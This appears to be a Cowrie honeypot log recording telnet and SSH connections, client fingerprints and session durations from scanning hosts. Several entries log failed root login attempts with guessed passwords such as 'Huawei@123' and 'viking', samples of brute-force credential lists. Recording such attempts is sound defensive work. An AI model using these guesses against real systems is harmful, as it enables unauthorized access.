{"eventid":"cowrie.session.connect","src_ip":"146.19.210.8","src_port":57716,"dst_ip":"10.17.0.5","dst_port":23,"session":"d793c5dd6a27","protocol":"telnet","message":"New connection: 146.19.210.8:57716 (10.17.0.5:23) [session: d793c5dd6a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:39.084244Z"}
{"eventid":"cowrie.session.closed","duration":41.59441304206848,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:39.432760Z","src_ip":"152.42.224.71","session":"6b11e5400c19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.104594469070435,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:40.108248Z","src_ip":"152.42.224.71","session":"04ea56880d40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"51.7","message":"Connection lost after 51.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:40.899805Z","src_ip":"47.237.167.49","session":"2e06782544ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":44232,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbaaa45f6418","protocol":"ssh","message":"New connection: 103.75.182.198:44232 (10.17.0.5:22) [session: bbaaa45f6418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:43.605561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:43.609431Z","src_ip":"103.75.182.198","session":"bbaaa45f6418","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:43.855835Z","src_ip":"103.75.182.198","session":"bbaaa45f6418","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"456123","message":"login attempt [root/456123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:44.596067Z","src_ip":"103.75.182.198","session":"bbaaa45f6418","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.627328872680664,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:45.532104Z","src_ip":"146.19.210.8","session":"12eb7e77e034","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:45.844597Z","src_ip":"103.75.182.198","session":"bbaaa45f6418","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48892,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1d2c122f16a","protocol":"telnet","message":"New connection: 152.42.224.71:48892 (10.17.0.5:23) [session: c1d2c122f16a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:47.830679Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.86.95.8","src_port":46584,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ef75fd5b0a0","protocol":"ssh","message":"New connection: 167.86.95.8:46584 (10.17.0.5:22) [session: 8ef75fd5b0a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:48.208925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:48.213758Z","src_ip":"167.86.95.8","session":"8ef75fd5b0a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:48.308311Z","src_ip":"167.86.95.8","session":"8ef75fd5b0a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:48.725280Z","src_ip":"167.86.95.8","session":"8ef75fd5b0a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.210.8","src_port":52500,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecb9046b80e5","protocol":"telnet","message":"New connection: 146.19.210.8:52500 (10.17.0.5:23) [session: ecb9046b80e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:49.046686Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.210.8","src_port":52516,"dst_ip":"10.17.0.5","dst_port":23,"session":"108d479e2b73","protocol":"telnet","message":"New connection: 146.19.210.8:52516 (10.17.0.5:23) [session: 108d479e2b73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:49.077793Z"}
{"eventid":"cowrie.session.closed","duration":30.78004813194275,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:49.091760Z","src_ip":"146.19.210.8","session":"6b0eac499129","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:49.820482Z","src_ip":"167.86.95.8","session":"8ef75fd5b0a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.210.8","src_port":52520,"dst_ip":"10.17.0.5","dst_port":23,"session":"57704786c038","protocol":"telnet","message":"New connection: 146.19.210.8:52520 (10.17.0.5:23) [session: 57704786c038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:33:55.403428Z"}
{"eventid":"cowrie.session.closed","duration":30.735557317733765,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:04.280699Z","src_ip":"146.19.210.8","session":"b06ea25b7820","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50796,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd18cec06a96","protocol":"telnet","message":"New connection: 152.42.224.71:50796 (10.17.0.5:23) [session: dd18cec06a96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:04.563134Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50802,"dst_ip":"10.17.0.5","dst_port":23,"session":"a21cee7a5628","protocol":"telnet","message":"New connection: 152.42.224.71:50802 (10.17.0.5:23) [session: a21cee7a5628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:04.643062Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.210.8","src_port":40212,"dst_ip":"10.17.0.5","dst_port":23,"session":"02d55c03795d","protocol":"telnet","message":"New connection: 146.19.210.8:40212 (10.17.0.5:23) [session: 02d55c03795d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:04.876260Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50810,"dst_ip":"10.17.0.5","dst_port":23,"session":"88ed05acf2f2","protocol":"telnet","message":"New connection: 152.42.224.71:50810 (10.17.0.5:23) [session: 88ed05acf2f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:05.176348Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.85.181","src_port":59128,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca9c6fa465ec","protocol":"ssh","message":"New connection: 43.173.85.181:59128 (10.17.0.5:22) [session: ca9c6fa465ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:06.589283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:06.594020Z","src_ip":"43.173.85.181","session":"ca9c6fa465ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:06.661511Z","src_ip":"43.173.85.181","session":"ca9c6fa465ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:06.965888Z","src_ip":"43.173.85.181","session":"ca9c6fa465ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":112.57188987731934,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:07.418628Z","src_ip":"152.42.224.71","session":"1ecf85a1e5c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:08.036377Z","src_ip":"43.173.85.181","session":"ca9c6fa465ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.12288212776184,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:08.158372Z","src_ip":"146.19.210.8","session":"bb9838624467","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.599533796310425,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:10.683657Z","src_ip":"146.19.210.8","session":"d793c5dd6a27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60702,"dst_ip":"10.17.0.5","dst_port":23,"session":"600935bfed7f","protocol":"telnet","message":"New connection: 152.42.224.71:60702 (10.17.0.5:23) [session: 600935bfed7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:11.876067Z"}
{"eventid":"cowrie.session.closed","duration":9.218032836914062,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:13.781062Z","src_ip":"152.42.224.71","session":"dd18cec06a96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":73.9785053730011,"message":"Connection lost after 73 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:15.495897Z","src_ip":"152.42.224.71","session":"238b9622200d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":113.17559838294983,"message":"Connection lost after 113 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:15.502119Z","src_ip":"152.42.224.71","session":"ca454d278672","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37118,"dst_ip":"10.17.0.5","dst_port":23,"session":"179132b0c669","protocol":"telnet","message":"New connection: 152.42.224.71:37118 (10.17.0.5:23) [session: 179132b0c669]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:16.392075Z"}
{"eventid":"cowrie.session.closed","duration":30.99721932411194,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:20.074846Z","src_ip":"146.19.210.8","session":"108d479e2b73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.052311897277832,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:20.098902Z","src_ip":"146.19.210.8","session":"ecb9046b80e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37130,"dst_ip":"10.17.0.5","dst_port":23,"session":"f502c49e1947","protocol":"telnet","message":"New connection: 152.42.224.71:37130 (10.17.0.5:23) [session: f502c49e1947]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:20.695364Z"}
{"eventid":"cowrie.session.closed","duration":33.303653955459595,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:21.134193Z","src_ip":"152.42.224.71","session":"c1d2c122f16a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.210.8","src_port":48146,"dst_ip":"10.17.0.5","dst_port":23,"session":"fecbc38a5526","protocol":"telnet","message":"New connection: 146.19.210.8:48146 (10.17.0.5:23) [session: fecbc38a5526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:24.104644Z"}
{"eventid":"cowrie.session.closed","duration":46.46791410446167,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:24.385005Z","src_ip":"152.42.224.71","session":"c8cf3eb976c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.437946557998657,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:26.841270Z","src_ip":"146.19.210.8","session":"57704786c038","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":22.90061664581299,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:27.543514Z","src_ip":"152.42.224.71","session":"a21cee7a5628","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.03687787055969,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:29.100548Z","src_ip":"152.42.224.71","session":"d2df718708cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53402,"dst_ip":"10.17.0.5","dst_port":23,"session":"5de65fa692ef","protocol":"telnet","message":"New connection: 152.42.224.71:53402 (10.17.0.5:23) [session: 5de65fa692ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:29.886008Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.210.8","src_port":48150,"dst_ip":"10.17.0.5","dst_port":23,"session":"81469ad96b21","protocol":"telnet","message":"New connection: 146.19.210.8:48150 (10.17.0.5:23) [session: 81469ad96b21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:29.963180Z"}
{"eventid":"cowrie.session.closed","duration":55.72201895713806,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:31.273037Z","src_ip":"152.42.224.71","session":"5edb8ce00a70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.17932915687561,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:35.055454Z","src_ip":"146.19.210.8","session":"02d55c03795d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49868,"dst_ip":"10.17.0.5","dst_port":23,"session":"c63730be941b","protocol":"telnet","message":"New connection: 152.42.224.71:49868 (10.17.0.5:23) [session: c63730be941b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:36.351664Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49874,"dst_ip":"10.17.0.5","dst_port":23,"session":"99727e73e3f7","protocol":"telnet","message":"New connection: 152.42.224.71:49874 (10.17.0.5:23) [session: 99727e73e3f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:41.206204Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49884,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d118be4ece2","protocol":"telnet","message":"New connection: 152.42.224.71:49884 (10.17.0.5:23) [session: 7d118be4ece2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:41.467397Z"}
{"eventid":"cowrie.session.closed","duration":26.87443447113037,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:43.266408Z","src_ip":"152.42.224.71","session":"179132b0c669","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.169.104.121","src_port":41720,"dst_ip":"10.17.0.5","dst_port":23,"session":"be2054a547f5","protocol":"telnet","message":"New connection: 20.169.104.121:41720 (10.17.0.5:23) [session: be2054a547f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:46.830406Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44406,"dst_ip":"10.17.0.5","dst_port":23,"session":"812e45d4aa7d","protocol":"telnet","message":"New connection: 152.42.224.71:44406 (10.17.0.5:23) [session: 812e45d4aa7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:48.447692Z"}
{"eventid":"cowrie.session.closed","duration":46.25915718078613,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:51.435378Z","src_ip":"152.42.224.71","session":"88ed05acf2f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":60354,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0cfb1cdfad0","protocol":"ssh","message":"New connection: 103.82.132.16:60354 (10.17.0.5:22) [session: e0cfb1cdfad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:51.815656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:51.820908Z","src_ip":"103.82.132.16","session":"e0cfb1cdfad0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:52.078219Z","src_ip":"103.82.132.16","session":"e0cfb1cdfad0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44412,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4cd6c3aea31","protocol":"telnet","message":"New connection: 152.42.224.71:44412 (10.17.0.5:23) [session: a4cd6c3aea31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:52.190988Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"viking","message":"login attempt [root/viking] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:52.855271Z","src_ip":"103.82.132.16","session":"e0cfb1cdfad0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:34:54.113288Z","src_ip":"103.82.132.16","session":"e0cfb1cdfad0","protocol":"ssh"}
